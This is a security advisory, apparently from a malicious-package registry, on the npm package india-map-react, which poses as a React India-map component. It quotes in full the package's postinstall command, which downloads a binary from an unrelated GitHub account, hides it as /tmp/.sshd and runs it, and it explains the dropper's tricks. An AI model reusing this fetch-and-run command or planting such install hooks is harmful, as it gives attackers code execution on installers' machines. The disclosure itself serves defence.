MAL-2026-5542 Malicious code in india-map-react (npm)

package.json declares a postinstall hook that runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. On every npm install, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (-k), follows redirects (-L), suppresses all errors (2>/dev/null), stages the binary under a deceptive hidden path masquerading as the SSH daemon (/tmp/.sshd), marks it executable, and runs it in the background. The URL uses the mutable latest/download alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.